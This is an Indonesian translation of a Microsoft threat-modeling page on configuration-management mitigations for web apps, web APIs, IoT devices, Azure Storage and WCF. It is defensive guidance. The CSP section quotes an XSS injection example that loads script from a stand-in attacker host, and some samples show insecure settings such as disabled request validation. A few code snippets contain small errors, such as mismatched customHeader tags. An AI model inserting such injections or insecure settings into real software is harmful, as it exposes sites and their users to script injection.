Bagikan melalui


Bingkai Keamanan: Manajemen Konfigurasi | Mitigasi

Produk/Layanan Artikel
Aplikasi Web
Database
API Web
Perangkat IoT
IoT Field Gateway
Gateway IoT Cloud
Batas Kepercayaan Mesin
Azure Storage
WCF

Menerapkan Content Security Policy (CSP), dan menonaktifkan javascript sebaris

Judul Detail
Komponen Aplikasi Web
Fase SDL Build
Teknologi yang Berlaku Generik
Atribut T/A
Referensi Pengantar Kebijakan Keamanan Konten, Referensi Kebijakan Keamanan Konten, Pengantar kebijakan keamanan konten, Bisakah saya menggunakan CSP?
Langkah-langkah

Content Security Policy (CSP) adalah mekanisme keamanan pertahanan mendalam, standar W3C, yang memungkinkan pemilik aplikasi web memiliki kontrol pada konten yang disematkan di situs mereka. CSP ditambahkan sebagai header respons HTTP di server web dan diberlakukan di sisi klien oleh browser. Ini adalah kebijakan berbasis daftar yang diizinkan - situs web dapat mendeklarasikan sekumpulan domain tepercaya dari tempat konten aktif seperti JavaScript dapat dimuat.

CSP memberikan manfaat keamanan berikut:

  • Perlindungan terhadap XSS: Jika halaman rentan terhadap XSS, penyerang dapat mengeksploitasinya dengan 2 cara:
    • Menyuntikkan <script>malicious code</script>. Eksploitasi ini tidak akan berfungsi karena Pembatasan Dasar-1 CSP
    • Menyuntikkan <script src="http://attacker.com/maliciousCode.js"/>. Eksploitasi ini tidak akan berfungsi karena domain yang dikendalikan penyerang tidak akan berada dalam daftar domain yang diizinkan CSP
  • Kontrol atas eksfiltrasi data: Jika ada konten berbahaya di halaman web yang mencoba tersambung ke situs web eksternal dan mencuri data, koneksi akan dibatalkan oleh CSP. Hal ini karena domain target tidak akan berada dalam daftar yang diizinkan CSP
  • Pertahanan terhadap click-jacking: click-jacking adalah teknik serangan yang digunakan penyerang untuk membingkai situs sungguhan dan memaksa pengguna mengklik elemen antarmuka pengguna. Saat ini pertahanan terhadap click-jacking dicapai dengan mengonfigurasi header respons- X-Frame-Options. Tidak semua browser menggunakan header ini dan CSP akan menjadi cara standar untuk melindungi dari click-jacking ke depannya.
  • Pelaporan serangan real-time: Jika ada serangan injeksi di situs web yang mendukung CSP, browser akan secara otomatis memicu pemberitahuan ke titik akhir yang dikonfigurasi pada server web. Dengan cara ini, CSP berfungsi sebagai sistem peringatan real-time.

Contoh

Contoh kebijakan:

Content-Security-Policy: default-src 'self'; script-src 'self' www.google-analytics.com 

Kebijakan ini memungkinkan skrip melakukan pemuatan hanya dari server aplikasi web dan server analitik google. Skrip yang dimuat dari situs lain akan ditolak. Ketika CSP diaktifkan di situs web, fitur berikut akan secara otomatis dinonaktifkan untuk mengurangi serangan XSS.

Contoh

Skrip sebaris tidak akan dijalankan. Berikut ini adalah contoh skrip sebaris

<script> some JavaScript code </script>
Event handling attributes of HTML tags (for example, <button onclick="function(){}">
javascript:alert(1);

Contoh

String tidak akan dievaluasi sebagai kode.

Example: var str="alert(1)"; eval(str);

Mengaktifkan filter XSS browser

Judul Detail
Komponen Aplikasi Web
Fase SDL Build
Teknologi yang Berlaku Generik
Atribut T/A
Referensi Filter Perlindungan XSS
Langkah-langkah

Konfigurasi header respons X-XSS-Protection mengontrol filter skrip lintas situs browser. Header respons ini bisa memiliki nilai berikut:

  • 0: Nilai ini akan menonaktifkan filter
  • 1: Filter enabled Jika serangan skrip lintas situs terdeteksi, untuk menghentikan serangan, browser akan membersihkan halaman
  • 1: mode=block : Filter enabled. Alih-alih membersihkan halaman, ketika serangan XSS terdeteksi, browser akan mencegah rendering halaman
  • 1: report=http://[YOURDOMAIN]/your_report_URI : Filter enabled. Browser akan membersihkan halaman dan melaporkan pelanggaran.

Ini adalah fungsi Chromium yang menggunakan laporan pelanggaran CSP untuk mengirim detail ke URI pilihan Anda. Dua opsi terakhir dianggap sebagai nilai yang aman.

Aplikasi ASP.NET harus menonaktifkan pelacakan dan penelusuran kesalahan sebelum penyebaran

Judul Detail
Komponen Aplikasi Web
Fase SDL Build
Teknologi yang Berlaku Generik
Atribut T/A
Referensi Ringkasan Penelusuran Kesalahan ASP.NET, Ringkasan Pelacakan ASP.NET, Cara: Mengaktifkan Pelacakan untuk Aplikasi ASP.NET, Cara: Mengaktifkan Penelusuran Kesalahan untuk Aplikasi ASP.NET
Langkah-langkah Saat menelusuri diaktifkan untuk halaman, setiap browser yang memintanya juga mendapatkan informasi jejak yang berisi data tentang status server internal dan alur kerja. Informasi tersebut bisa bersifat sensitif terhadap keamanan. Ketika penelusuran kesalahan diaktifkan untuk halaman, kesalahan yang terjadi di server menghasilkan data pelacakan tumpukan penuh yang disajikan ke browser. Data tersebut dapat mengekspos informasi sensitif terhadap keamanan tentang alur kerja server.

Akses JavaScript pihak ketiga hanya dari sumber tepercaya

Judul Detail
Komponen Aplikasi Web
Fase SDL Build
Teknologi yang Berlaku Generik
Atribut T/A
Referensi T/A
Langkah-langkah JavaScript pihak ketiga harus direferensikan hanya dari sumber tepercaya. Titik akhir referensi harus selalu berada di TLS.

Pastikan bahwa halaman ASP.NET yang terautentikasi menggabungkan pertahanan Redressing UI atau click-jacking

Judul Detail
Komponen Aplikasi Web
Fase SDL Build
Teknologi yang Berlaku Generik
Atribut T/A
Referensi OWASP click-jacking Defense Cheat Sheet, Internet Explorer Internals - Memerangi click-jacking Dengan X-Frame-Options
Langkah-langkah

click-jacking, yang juga dikenal sebagai "serangan redress UI", terjadi ketika penyerang menggunakan beberapa lapisan transparan atau buram untuk mengelabui pengguna agar mengklik tombol atau tautan di halaman lainnya saat bertujuan ingin mengklik halaman tingkat atas.

Lapisan ini dicapai dengan membuat halaman berbahaya dengan iframe, yang memuat halaman korban. Dengan demikian, penyerang "membajak" klik yang dimaksudkan untuk halaman mereka dan merutekannya ke halaman lain, yang kemungkinan besar dimiliki oleh aplikasi lain, domain, atau keduanya. Untuk mencegah serangan click-jacking, tentukan header respons HTTP X-Frame-Options yang sesuai yang menginstruksikan browser untuk tidak mengizinkan pembingkaian dari domain lain

Contoh

Header X-FRAME-OPTIONS dapat diatur melalui cuplikan kode IIS web.config. Web.config untuk situs yang tidak boleh dibingkai:

    <system.webServer>
        <httpProtocol>
            <customHeader>
                <add name="X-FRAME-OPTIONS" value="DENY"/>
            </customHeaders>
        </httpProtocol>
    </system.webServer>

Contoh

Web.config untuk situs yang seharusnya hanya dibingkai oleh halaman di domain yang sama:

    <system.webServer>
        <httpProtocol>
            <customHeader>
                <add name="X-FRAME-OPTIONS" value="SAMEORIGIN"/>
            </customHeaders>
        </httpProtocol>
    </system.webServer>

Memastikan bahwa hanya asal yang tepercaya saja yang diizinkan jika CORS diaktifkan di Aplikasi Web ASP.NET

Judul Detail
Komponen Aplikasi Web
Fase SDL Build
Teknologi yang Berlaku Web Forms, MVC5
Atribut T/A
Referensi T/A
Langkah-langkah

Keamanan browser mencegah halaman web untuk membuat permintaan AJAX ke domain lain. Pembatasan ini disebut kebijakan asal yang sama, dan mencegah situs yang berbahaya membaca data yang bersifat sensitif dari situs lain. Namun, terkadang API perlu diekspos dengan aman agar dapat dikonsumsi situs lain. Cross Origin Resource Sharing (CORS) adalah standar W3C yang memungkinkan server untuk melonggarkan kebijakan asal yang sama. Dengan menggunakan CORS, server dapat secara eksplisit mengizinkan beberapa permintaan lintas-asal sekaligus menolak permintaan lainnya.

CORS lebih aman dan fleksibel daripada teknik sebelumnya seperti JSONP. Intinya, dengan mengaktifkan CORS, beberapa header respons HTTP (Access-Control-*) akan ditambahkan ke aplikasi web dan hal ini dapat dilakukan dengan beberapa cara.

Contoh

Jika akses ke Web.config tersedia, maka CORS dapat ditambahkan melalui kode berikut:

<system.webServer>
    <httpProtocol>
      <customHeaders>
        <clear />
        <add name="Access-Control-Allow-Origin" value="https://example.com" />
      </customHeaders>
    </httpProtocol>

Contoh

Jika akses ke web.config tidak tersedia, CORS dapat dikonfigurasi dengan menambahkan kode C# berikut:

HttpContext.Response.AppendHeader("Access-Control-Allow-Origin", "https://example.com")

Sangat penting untuk memastikan bahwa daftar asal dalam atribut "Access-Control-Allow-Origin" diatur ke dalam asal yang terbatas dan yang tepercaya. Gagal mengonfigurasi ini secara tidak tepat (misalnya, mengatur nilai sebagai '*') akan memungkinkan situs berbahaya memicu permintaan lintas asal ke aplikasi web >tanpa batasan apa pun, sehingga membuat aplikasi rentan terhadap serangan CSRF.

Mengaktifkan atribut ValidateRequest di Halaman ASP.NET

Judul Detail
Komponen Aplikasi Web
Fase SDL Build
Teknologi yang Berlaku Web Forms, MVC5
Atribut T/A
Referensi Validasi Permintaan - Mencegah Serangan Skrip
Langkah-langkah

Validasi permintaan, fitur dari ASP.NET versi 1.1, mencegah server menerima konten yang berisi HTML yang tidak dikodekan. Fitur ini dirancang untuk membantu mencegah beberapa serangan injeksi skrip di mana kode skrip klien atau HTML dapat tanpa sadar dikirimkan ke server, disimpan, dan kemudian diberikan kepada pengguna lain. Kami masih sangat merekomendasikan Anda untuk memvalidasi semua data input dan HTML serta mengodekannya di saat yang tepat.

Validasi permintaan dilakukan dengan membandingkan semua data input dengan daftar nilai yang berpotensi berbahaya. Jika ada kecocokan dari perbandingan tersebut, ASP.NET akan mengeluarkan HttpRequestValidationException. Secara default, fitur Validasi Permintaan diaktifkan.

Contoh

Namun, fitur ini dapat dinonaktifkan di tingkat halaman:

<%@ Page validateRequest="false" %> 

atau, di tingkat aplikasi.

<configuration>
   <system.web>
      <pages validateRequest="false" />
   </system.web>
</configuration>

Perhatikan bahwa fitur Validasi Permintaan tidak didukung dan bukan bagian dari alur MVC6.

Menggunakan versi terbaru pustaka JavaScript yang dihosting secara lokal

Judul Detail
Komponen Aplikasi Web
Fase SDL Build
Teknologi yang Berlaku Generik
Atribut T/A
Referensi T/A
Langkah-langkah

Pengembang yang menggunakan pustaka JavaScript standar seperti JQuery harus menggunakan versi yang disetujui dari pustaka JavaScript umum yang tidak berisi kelemahan pada keamanan yang telah dikenali. Praktik baiknya adalah menggunakan versi pustaka terbaru, karena berisi perbaikan keamanan untuk kerentanan yang sudah dikenali dalam versi lama.

Jika rilis terbaru tidak dapat digunakan karena alasan kompatibilitas, versi minimum di bawah ini harus digunakan.

Versi minimum yang dapat diterima:

  • JQuery
    • JQuery 1.7.1
    • JQueryUI 1.10.0
    • JQuery Validate 1.9
    • JQuery Mobile 1.0.1
    • JQuery Cycle 2.99
    • JQuery DataTables 1.9.0
  • Ajax Control Toolkit
    • Ajax Control Toolkit 40412
  • ASP.NET Web Forms dan Ajax
    • ASP.NET Web Forms dan Ajax 4
    • ASP.NET Ajax 3.5
  • ASP.NET MVC
    • ASP.NET MVC 3.0

Jangan pernah memuat pustaka JavaScript apa pun dari situs eksternal seperti CDN publik

Menonaktifkan pengendusan MIME otomatis

Judul Detail
Komponen Aplikasi Web
Fase SDL Build
Teknologi yang Berlaku Generik
Atribut T/A
Referensi Keamanan IE8 Bagian V: Perlindungan yang Komprehensif, jenis MIME
Langkah-langkah Header X-Content-Type-Options adalah header HTTP yang memungkinkan pengembang menentukan bahwa konten mereka tidak boleh diendus MIME. Header ini dirancang untuk mengurangi serangan MIME-Sniffing. Untuk setiap halaman yang bisa berisi konten yang dapat dikontrol pengguna, Anda harus menggunakan Header HTTP X-Content-Type-Options:nosniff. Untuk mengaktifkan header yang diperlukan untuk halaman di aplikasi secara global, Anda melakukan salah satu dari berikut

Contoh

Tambahkan header di file web.config jika aplikasi dihosting oleh Internet Information Services (IIS) 7 dan seterusnya.

<system.webServer>
<httpProtocol>
<customHeaders>
<add name="X-Content-Type-Options" value="nosniff"/>
</customHeaders>
</httpProtocol>
</system.webServer>

Contoh

Tambahkan header melalui Application_BeginRequest global

void Application_BeginRequest(object sender, EventArgs e)
{
this.Response.Headers["X-Content-Type-Options"] = "nosniff";
}

Contoh

Terapkan modul HTTP kustom

public class XContentTypeOptionsModule : IHttpModule
{
#region IHttpModule Members
public void Dispose()
{
}
public void Init(HttpApplication context)
{
context.PreSendRequestHeaders += newEventHandler(context_PreSendRequestHeaders);
}
#endregion
void context_PreSendRequestHeaders(object sender, EventArgs e)
{
HttpApplication application = sender as HttpApplication;
if (application == null)
  return;
if (application.Response.Headers["X-Content-Type-Options "] != null)
  return;
application.Response.Headers.Add("X-Content-Type-Options ", "nosniff");
}
}

Contoh

Anda hanya dapat mengaktifkan header yang diperlukan untuk halaman tertentu dengan menambahkannya ke respons individual:

this.Response.Headers["X-Content-Type-Options"] = "nosniff";

Menghapus header server standar di Windows Azure Web Sites untuk menghindari pengambilan sidik jari

Judul Detail
Komponen Aplikasi Web
Fase SDL Build
Teknologi yang Berlaku Generik
Atribut EnvironmentType - Azure
Referensi Menghapus header server standar di Windows Azure Web Sites
Langkah-langkah Header seperti Server, X-Powered-By, X-AspNet-Version mengungkapkan informasi tentang server dan teknologi yang mendasarinya. Sebaiknya hambat header ini sehingga mencegah pengambilan sidik jari dari aplikasi

Mengonfigurasi Windows Firewall untuk Database Engine Access

Judul Detail
Komponen Database
Fase SDL Build
Teknologi yang Berlaku SQL Azure, OnPrem
Atribut N/A, Versi SQL - V12
Referensi Cara mengonfigurasi firewall Database Azure SQL Database, Mengonfigurasi Windows Firewall untuk Database Engine Access
Langkah-langkah Sistem firewall membantu mencegah akses tidak sah ke sumber daya komputer. Untuk mengakses instans SQL Server Database Engine melalui firewall, Anda harus mengonfigurasi firewall di komputer yang menjalankan SQL Server untuk mengizinkan akses

Memastikan bahwa hanya asal yang tepercaya yang diizinkan jika CORS diaktifkan di API Web ASP.NET

Judul Detail
Komponen API Web
Fase SDL Build
Teknologi yang Berlaku MVC 5
Atribut T/A
Referensi Mengaktifkan Permintaan Lintas Asal di API Web ASP.NET 2, API Web ASP.NET - Dukungan CORS di API Web ASP.NET 2
Langkah-langkah

Keamanan browser mencegah halaman web untuk membuat permintaan AJAX ke domain lain. Pembatasan ini disebut kebijakan asal yang sama, dan mencegah situs yang berbahaya membaca data yang bersifat sensitif dari situs lain. Namun, terkadang API perlu diekspos dengan aman agar dapat dikonsumsi situs lain. Cross Origin Resource Sharing (CORS) adalah standar W3C yang memungkinkan server untuk melonggarkan kebijakan asal yang sama.

Dengan menggunakan CORS, server dapat secara eksplisit mengizinkan beberapa permintaan lintas-asal sekaligus menolak permintaan lainnya. CORS lebih aman dan fleksibel daripada teknik sebelumnya seperti JSONP.

Contoh

Di App_Start/WebApiConfig.cs, tambahkan kode berikut ke metode WebApiConfig.Register

using System.Web.Http;
namespace WebService
{
    public static class WebApiConfig
    {
        public static void Register(HttpConfiguration config)
        {
            // New code
            config.EnableCors();

            config.Routes.MapHttpRoute(
                name: "DefaultApi",
                routeTemplate: "api/{controller}/{id}",
                defaults: new { id = RouteParameter.Optional }
            );
        }
    }
}

Contoh

Atribut EnableCors dapat diterapkan ke metode tindakan di pengontrol sebagai berikut:

public class ResourcesController : ApiController
{
  [EnableCors("http://localhost:55912", // Origin
              null,                     // Request headers
              "GET",                    // HTTP methods
              "bar",                    // Response headers
              SupportsCredentials=true  // Allow credentials
  )]
  public HttpResponseMessage Get(int id)
  {
    var resp = Request.CreateResponse(HttpStatusCode.NoContent);
    resp.Headers.Add("bar", "a bar value");
    return resp;
  }
  [EnableCors("http://localhost:55912",       // Origin
              "Accept, Origin, Content-Type", // Request headers
              "PUT",                          // HTTP methods
              PreflightMaxAge=600             // Preflight cache duration
  )]
  public HttpResponseMessage Put(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  [EnableCors("http://localhost:55912",       // Origin
              "Accept, Origin, Content-Type", // Request headers
              "POST",                         // HTTP methods
              PreflightMaxAge=600             // Preflight cache duration
  )]
  public HttpResponseMessage Post(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
}

Perhatikan bahwa sangat penting untuk memastikan bahwa daftar asal di atribut EnableCors diatur ke kumpulan asal yang terbatas dan tepercaya. Gagal mengonfigurasi ini secara tidak tepat (misalnya, mengatur nilai sebagai '*') akan memungkinkan situs berbahaya memicu permintaan lintas asal ke API tanpa batasan apa pun, >sehingga membuat API rentan terhadap serangan CSRF. EnableCors dapat dilengkapi di tingkat pengontrol.

Contoh

Untuk menonaktifkan CORS pada metode tertentu di kelas, atribut DisableCors dapat digunakan seperti yang ditunjukkan di bawah ini:

[EnableCors("https://example.com", "Accept, Origin, Content-Type", "POST")]
public class ResourcesController : ApiController
{
  public HttpResponseMessage Put(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  public HttpResponseMessage Post(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  // CORS not allowed because of the [DisableCors] attribute
  [DisableCors]
  public HttpResponseMessage Delete(int id)
  {
    return Request.CreateResponse(HttpStatusCode.NoContent);
  }
}
Judul Detail
Komponen API Web
Fase SDL Build
Teknologi yang Berlaku 'MVC 6
Atribut T/A
Referensi Mengaktifkan Permintaan Lintas-Asal (CORS) di ASP.NET Core 1.0
Langkah-langkah

Di ASP.NET Core 1.0, CORS dapat diaktifkan dengan menggunakan middleware atau MVC. Saat menggunakan MVC untuk mengaktifkan CORS, layanan CORS yang sama akan digunakan, namun tidak dengan middleware CORS.

Approach-1 Mengaktifkan CORS dengan middleware: Guna mengaktifkan CORS untuk seluruh aplikasi, tambahkan middleware CORS ke alur permintaan menggunakan metode ekstensi UseCors. Kebijakan lintas-asal dapat ditentukan saat menambahkan middleware CORS menggunakan kelas CorsPolicyBuilder. Ada dua cara untuk melakukannya:

Contoh

Cara yang pertama adalah dengan memanggil UseCors dengan lambda. Lambda mengambil objek CorsPolicyBuilder:

public void Configure(IApplicationBuilder app)
{
    app.UseCors(builder =>
        builder.WithOrigins("https://example.com")
        .WithMethods("GET", "POST", "HEAD")
        .WithHeaders("accept", "content-type", "origin", "x-custom-header"));
}

Contoh

Cara yang kedua adalah dengan menentukan satu atau beberapa kebijakan CORS yang telah diberi nama, lalu memilih kebijakan berdasarkan nama pada durasi.

public void ConfigureServices(IServiceCollection services)
{
    services.AddCors(options =>
    {
        options.AddPolicy("AllowSpecificOrigin",
            builder => builder.WithOrigins("https://example.com"));
    });
}
public void Configure(IApplicationBuilder app)
{
    app.UseCors("AllowSpecificOrigin");
    app.Run(async (context) =>
    {
        await context.Response.WriteAsync("Hello World!");
    });
}

Approach-2 Mengaktifkan CORS di MVC: Pengembang dapat menggunakan MVC untuk menerapkan CORS tertentu per tindakan, per pengontrol, atau secara global untuk semua pengontrol.

Contoh

Per tindakan: Guna menentukan kebijakan CORS untuk tindakan tertentu, tambahkan atribut [EnableCors] ke tindakan. Tentukan nama kebijakan.

public class HomeController : Controller
{
    [EnableCors("AllowSpecificOrigin")] 
    public IActionResult Index()
    {
        return View();
    }

Contoh

Per Pengontrol:

[EnableCors("AllowSpecificOrigin")]
public class HomeController : Controller
{

Contoh

Secara global:

public void ConfigureServices(IServiceCollection services)
{
    services.AddMvc();
    services.Configure<MvcOptions>(options =>
    {
        options.Filters.Add(new CorsAuthorizationFilterFactory("AllowSpecificOrigin"));
    });
}

Perhatikan bahwa sangat penting untuk memastikan bahwa daftar asal di atribut EnableCors diatur ke kumpulan asal yang terbatas dan tepercaya. Gagal mengonfigurasi ini secara tidak tepat (misalnya, mengatur nilai sebagai '*') akan memungkinkan situs berbahaya memicu permintaan lintas asal ke API tanpa batasan apa pun, >sehingga membuat API rentan terhadap serangan CSRF.

Contoh

Guna menonaktifkan CORS untuk pengontrol atau tindakan, gunakan atribut [DisableCors].

[DisableCors]
    public IActionResult About()
    {
        return View();
    }

Mengenkripsi bagian file konfigurasi API Web yang berisi data sensitif

Judul Detail
Komponen API Web
Fase SDL Penyebaran
Teknologi yang Berlaku Generik
Atribut T/A
Referensi Panduan: Mengenkripsi Bagian Konfigurasi di ASP.NET 2.0 Menggunakan DPAPI, Menentukan Penyedia Konfigurasi Dilindungi, Menggunakan Azure Key Vault untuk melindungi rahasia aplikasi
Langkah-langkah File konfigurasi seperti Web.config, appsettings.json sering digunakan untuk menyimpan informasi sensitif, termasuk nama pengguna, kata sandi, string koneksi database, dan kunci enkripsi. Jika Anda tidak melindungi informasi ini, aplikasi Anda rentan terhadap penyerang atau pengguna jahat yang mendapatkan informasi sensitif seperti nama pengguna akun dan kata sandi, nama database, dan nama server. Berdasarkan jenis penyebaran (azure/lokal), enkripsi bagian sensitif file konfigurasi menggunakan DPAPI atau layanan seperti Azure Key Vault.

Memastikan bahwa semua antarmuka admin diamankan dengan informasi masuk yang kuat

Judul Detail
Komponen Perangkat IoT
Fase SDL Penyebaran
Teknologi yang Berlaku Generik
Atribut T/A
Referensi T/A
Langkah-langkah Antarmuka administratif apa pun yang diekspos oleh perangkat atau gateway bidang harus diamankan menggunakan informasi masuk yang kuat. Selain itu, antarmuka lain yang terekspos seperti WiFi, SSH, Berbagi file, FTP harus diamankan dengan informasi masuk yang kuat. Kata sandi lemah default tidak boleh digunakan.

Memastikan bahwa kode yang tidak diketahui tidak dapat dijalankan pada perangkat

Judul Detail
Komponen Perangkat IoT
Fase SDL Build
Teknologi yang Berlaku Generik
Atribut T/A
Referensi Mengaktifkan Boot Aman dan Enkripsi Perangkat BitLocker di Inti IoT Windows 10
Langkah-langkah UEFI Secure Boot membatasi sistem agar hanya mengizinkan eksekusi biner yang ditandatangani oleh otoritas tertentu. Fitur ini mencegah agar kode yang tidak diketahui tidak dijalankan pada platform dan berpotensi melemahkan postur keamanannya. Aktifkan Boot Aman UEFI dan batasi daftar otoritas sertifikat yang dipercaya untuk menandatangani kode. Tanda tangani semua kode yang disebarkan di perangkat menggunakan salah satu otoritas yang tepercaya.

Mengenkripsi OS dan partisi lain Perangkat IoT dengan BitLocker

Judul Detail
Komponen Perangkat IoT
Fase SDL Build
Teknologi yang Berlaku Generik
Atribut T/A
Referensi T/A
Langkah-langkah Windows 10 IoT Core mengimplementasikan versi ringan BitLocker Device Encryption, yang memiliki ketergantungan kuat pada keberadaan TPM pada platform, termasuk protokol preOS yang diperlukan di UEFI yang melakukan pengukuran yang diperlukan. Pengukuran preOS ini memastikan bahwa OS nanti memiliki catatan pasti tentang bagaimana OS diluncurkan. Enkripsi partisi OS menggunakan BitLocker dan partisi lain juga jika mereka menyimpan data sensitif.

Memastikan bahwa hanya layanan/fitur minimum yang diaktifkan di perangkat

Judul Detail
Komponen Perangkat IoT
Fase SDL Penyebaran
Teknologi yang Berlaku Generik
Atribut T/A
Referensi T/A
Langkah-langkah Jangan mengaktifkan atau mematikan fitur atau layanan apa pun di OS yang tidak diperlukan agar solusi berfungsi. Misalnya, jika perangkat tidak mengharuskan penyebaran antarmuka pengguna, pasang Windows IoT Core dalam mode tanpa induk.

Mengenkripsi OS dan partisi lain IoT Field Gateway dengan BitLocker

Judul Detail
Komponen IoT Field Gateway
Fase SDL Penyebaran
Teknologi yang Berlaku Generik
Atribut T/A
Referensi T/A
Langkah-langkah Windows 10 IoT Core mengimplementasikan versi ringan BitLocker Device Encryption, yang memiliki ketergantungan kuat pada keberadaan TPM pada platform, termasuk protokol preOS yang diperlukan di UEFI yang melakukan pengukuran yang diperlukan. Pengukuran preOS ini memastikan bahwa OS nanti memiliki catatan pasti tentang bagaimana OS diluncurkan. Enkripsi partisi OS menggunakan BitLocker dan partisi lain juga jika mereka menyimpan data sensitif.

Memastikan bahwa informasi masuk default gateway bidang telah diubah selama penginstalan

Judul Detail
Komponen IoT Field Gateway
Fase SDL Penyebaran
Teknologi yang Berlaku Generik
Atribut T/A
Referensi T/A
Langkah-langkah Memastikan bahwa informasi masuk default gateway bidang telah diubah selama penginstalan

Memastikan bahwa Cloud Gateway menerapkan proses untuk menjaga firmware perangkat yang tersambung tetap terbaru

Judul Detail
Komponen Gateway IoT Cloud
Fase SDL Build
Teknologi yang Berlaku Generik
Atribut Pilihan Gateway - Azure IoT Hub
Referensi Ikhtisar Manajemen Perangkat Hub IoT,Pembaruan Perangkat untuk tutorial Azure IoT Hub menggunakan Gambar Referensi Raspberry Pi 3 B+.
Langkah-langkah LWM2M adalah protokol dari Open Mobile Alliance untuk IoT Device Management. Manajemen perangkat Azure IoT memungkinkan interaksi dengan perangkat fisik menggunakan pekerjaan perangkat. Pastikan bahwa Cloud Gateway menerapkan proses untuk secara rutin menjaga perangkat dan data konfigurasi lainnya tetap terbaru menggunakan Azure IoT Hub Device Management.

Memastikan bahwa perangkat memiliki kontrol keamanan titik akhir yang dikonfigurasi sesuai kebijakan organisasi

Judul Detail
Komponen Batas Kepercayaan Komputer
Fase SDL Penyebaran
Teknologi yang Berlaku Generik
Atribut T/A
Referensi T/A
Langkah-langkah Pastikan bahwa perangkat memiliki kontrol keamanan titik akhir seperti BitLocker untuk enkripsi tingkat disk, anti-virus dengan tanda tangan yang diperbarui, firewall berbasis host, peningkatan OS, kebijakan grup, dll. dikonfigurasikan sesuai kebijakan keamanan organisasi.

Memastikan bahwa manajemen kunci akses penyimpanan Azure telah aman

Judul Detail
Komponen Azure Storage
Fase SDL Penyebaran
Teknologi yang Berlaku Generik
Atribut T/A
Referensi Panduan keamanan Azure Storage - Mengelola Kunci Akun Penyimpanan Anda
Langkah-langkah

Penyimpanan Kunci: Sebaiknya simpan kunci akses Azure Storage di Azure Key Vault sebagai rahasia dan buat aplikasi agar mengambil kunci dari brankas kunci. Pengaturan ini direkomendasikan karena beberapa alasan berikut:

  • Aplikasi tidak akan pernah memiliki kunci penyimpanan yang dikodekan secara permanen dalam file konfigurasi, yang menghapus kemungkinan seseorang untuk mendapatkan akses ke kunci tanpa izin tertentu
  • Akses ke kunci dapat dikontrol menggunakan MICROSOFT Entra ID. Artinya, pemilik akun dapat memberikan akses ke beberapa aplikasi yang perlu mengambil kunci dari Azure Key Vault. Aplikasi lain tidak akan dapat mengakses kunci tanpa memiliki izin yang diberikan secara khusus
  • Regenerasi Kunci: Sebaiknya siapkan proses untuk meregenerasi kunci akses penyimpanan Azure karena alasan keamanan. Detail tentang alasan dan cara merencanakan regenerasi kunci didokumentasikan dalam artikel referensi Panduan Keamanan Azure Storage

Memastikan bahwa hanya asal yang tepercaya yang diizinkan jika CORS diaktifkan di Azure Storage

Judul Detail
Komponen Azure Storage
Fase SDL Build
Teknologi yang Berlaku Generik
Atribut T/A
Referensi Dukungan CORS untuk Azure Storage Services
Langkah-langkah Dengan Azure Storage, Anda dapat mengaktifkan CORS – Cross Origin Resource Sharing. Untuk setiap akun penyimpanan, Anda dapat menentukan domain yang dapat mengakses sumber daya di akun penyimpanan tersebut. Secara default, CORS dinonaktifkan di semua layanan. Anda dapat mengaktifkan CORS dengan menggunakan REST API atau pustaka klien penyimpanan untuk memanggil salah satu metode guna mengatur kebijakan layanan.

Mengaktifkan fitur pembatasan Layanan WCF

Judul Detail
Komponen WCF
Fase SDL Build
Teknologi yang Berlaku .NET Framework 3
Atribut T/A
Referensi MSDN, Fortify Kingdom
Langkah-langkah

Tidak memberikan batasan pada penggunaan sumber daya sistem dapat mengakibatkan kelelahan sumber daya dan penolakan layanan.

  • PENJELASAN: Windows Communication Foundation (WCF) menawarkan kemampuan untuk membatasi permintaan layanan. Mengizinkan terlalu banyak permintaan klien dapat membanjiri sistem dan menghabiskan sumber dayanya. Di sisi lain, mengizinkan hanya sejumlah kecil permintaan ke layanan dapat mencegah pengguna yang sah menggunakan layanan. Setiap layanan harus disetel dan dikonfigurasi secara individu untuk memungkinkan jumlah sumber daya yang sesuai.
  • REKOMENDASI Aktifkan fitur pembatasan layanan WCF dan tetapkan pembatasan yang sesuai untuk aplikasi Anda.

Contoh

Berikut ini adalah contoh konfigurasi dengan pembatasan yang diaktifkan:

<system.serviceModel> 
  <behaviors>
    <serviceBehaviors>
    <behavior name="Throttled">
    <serviceThrottling maxConcurrentCalls="[YOUR SERVICE VALUE]" maxConcurrentSessions="[YOUR SERVICE VALUE]" maxConcurrentInstances="[YOUR SERVICE VALUE]" /> 
  ...
</system.serviceModel> 

Pengungkapan informasi WCF melalui metadata

Judul Detail
Komponen WCF
Fase SDL Build
Teknologi yang Berlaku .NET Framework 3
Atribut T/A
Referensi MSDN, Fortify Kingdom
Langkah-langkah Metadata dapat membantu penyerang mempelajari sistem dan merencanakan bentuk serangan. Layanan WCF dapat dikonfigurasi untuk mengekspos metadata. Metadata memberikan informasi deskripsi layanan terperinci dan tidak boleh disiarkan di lingkungan produksi. Properti HttpGetEnabled / HttpsGetEnabled kelas ServiceMetaData menentukan apakah layanan akan mengekspos metadata atau tidak

Contoh

Kode di bawah ini menginstruksikan WCF agar menyiarkan metadata sebuah layanan

ServiceMetadataBehavior smb = new ServiceMetadataBehavior();
smb.HttpGetEnabled = true; 
smb.HttpGetUrl = new Uri(EndPointAddress); 
Host.Description.Behaviors.Add(smb); 

Jangan menyiarkan metadata layanan di lingkungan produksi. Atur properti HttpGetEnabled / HttpsGetEnabled kelas ServiceMetaData ke false.

Contoh

Kode di bawah ini menginstruksikan WCF agar tidak menyiarkan metadata layanan.

ServiceMetadataBehavior smb = new ServiceMetadataBehavior(); 
smb.HttpGetEnabled = false; 
smb.HttpGetUrl = new Uri(EndPointAddress); 
Host.Description.Behaviors.Add(smb);